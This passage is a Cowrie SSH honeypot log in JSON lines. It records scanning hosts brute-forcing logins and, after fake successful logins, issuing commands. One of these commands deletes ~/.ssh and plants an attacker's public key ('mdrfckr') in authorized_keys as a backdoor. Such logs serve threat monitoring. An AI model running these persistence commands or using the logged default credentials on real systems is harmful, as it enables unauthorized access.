nge-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:36:48.153473Z","src_ip":"221.139.88.149","session":"446bff176b3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"secret","message":"login attempt [ubuntu/secret] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:36:49.035698Z","src_ip":"221.139.88.149","session":"446bff176b3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:36:50.265085Z","src_ip":"221.139.88.149","session":"446bff176b3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.216.119.134","src_port":44534,"dst_ip":"10.17.0.5","dst_port":22,"session":"b37ec9f6d45e","protocol":"ssh","message":"New connection: 185.216.119.134:44534 (10.17.0.5:22) [session: b37ec9f6d45e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:36:55.021887Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:36:55.026628Z","src_ip":"185.216.119.134","session":"b37ec9f6d45e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:36:55.640977Z","src_ip":"185.216.119.134","session":"b37ec9f6d45e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"11111111","message":"login attempt [oracle/11111111] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:36:57.416018Z","src_ip":"185.216.119.134","session":"b37ec9f6d45e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:36:57.985223Z","src_ip":"185.216.119.134","session":"b37ec9f6d45e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:36:57.987405Z","src_ip":"185.216.119.134","session":"b37ec9f6d45e","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:36:57.990225Z","src_ip":"185.216.119.134","session":"b37ec9f6d45e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:36:58.212568Z","src_ip":"185.216.119.134","session":"b37ec9f6d45e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:36:58.687464Z","src_ip":"185.216.119.134","session":"b37ec9f6d45e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:36:58.690546Z","src_ip":"185.216.119.134","session":"b37ec9f6d45e","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:36:58.916706Z","src_ip":"185.216.119.134","session":"b37ec9f6d45e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:36:58.920569Z","src_ip":"185.216.119.134","session":"b37ec9f6d45e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.216.119.134","src_port":45714,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6f9ee5eeef0","protocol":"ssh","message":"New connection: 185.216.119.134:45714 (10.17.0.5:22) [session: e6f9ee5eeef0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:36:59.123126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:36:59.127848Z","src_ip":"185.216.119.134","session":"e6f9ee5eeef0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:36:59.345559Z","src_ip":"185.216.119.134","session":"e6f9ee5eeef0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:36:59.997021Z","src_ip":"185.216.119.134","session":"e6f9ee5eeef0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:37:01.240717Z","src_ip":"185.216.119.134","session":"e6f9ee5eeef0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.216.119.134","src_port":46454,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b1c3fd7ba7b","protocol":"ssh","message":"New connection: 185.216.119.134:46454 (10.17.0.5:22) [session: 2b1c3fd7ba7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:37:01.459751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:37:01.474851Z","src_ip":"185.216.119.134","session":"2b1c3fd7ba7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:37:01.716130Z","src_ip":"185.216.119.134","session":"2b1c3fd7ba7b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:37:02.589838Z","src_ip":"185.216.119.134","session":"2b1c3fd7ba7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.8","message":"Connection lost after 7.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:37:02.820401Z","src_ip":"185.216.119.134","session":"b37ec9f6d45e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:37:02.825706Z","src_ip":"185.216.119.134","session":"2b1c3fd7ba7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.969501972198486,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:37:05.013115Z","src_ip":"149.56.241.222","session":"7c015cd2ac31","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46100,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f6ed757fcf5","protocol":"ssh","message":"New connection: 159.203.92.129:46100 (159.203.135.109:22) [session: 2f6ed757fcf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:37:13.448228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:37:13.453063Z","src_ip":"159.203.92.129","session":"2f6ed757fcf5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:37:13.457666Z","src_ip":"159.203.92.129","session":"2f6ed757fcf5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Yanghuimin","password":"123","message":"login attempt [Yanghuimin/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:37:13.468625Z","src_ip":"159.203.92.129","session":"2f6ed757fcf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:37:14.474672Z","src_ip":"159.203.92.129","session":"2f6ed757fcf5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":57030,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a9e37815853","protocol":"ssh","message":"New connection: 31.59.89.180:57030 (159.203.135.109:22) [session: 8a9e37815853]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:37:15.150324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:37:15.158142Z","src_ip":"31.59.89.180","session":"8a9e37815853","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:37:15.269330Z","src_ip":"31.59.89.180","session":"8a9e37815853","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vasadmin","password":"vasadmin","message":"login attempt [vasadmin/vasadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:37:15.745434Z","src_ip":"31.59.89.180","session":"8a9e37815853","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:37:16.860287Z","src_ip":"31.59.89.180","session":"8a9e37815853","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.189.51.7","src_port":47518,"dst_ip":"10.17.0.5","dst_port":22,"session":"4bce4020476d","protocol":"ssh","message":"New connection: 196.189.51.7:47518 (10.17.0.5:22) [session: 4bce4020476d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:37:18.313621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:37:18.320517Z","src_ip":"196.189.51.7","session":"4bce4020476d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:37:18.488568Z","src_ip":"196.189.51.7","session":"4bce4020476d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erpuser","password":"erpuser","message":"login attempt [erpuser/erpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:37:19.181900Z","src_ip":"196.189.51.7","session":"4bce4020476d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:37:20.351726Z","src_ip":"196.189.51.7","session":"4bce4020476d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":37614,"dst_ip":"159.203.135.109","dst_port":22,"session":"32d3dbc833de","protocol":"ssh","message":"New connection: 80.94.92.186:37614 (159.203.135.109:22) [session: 32d3dbc833de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:37:27.723816Z"}
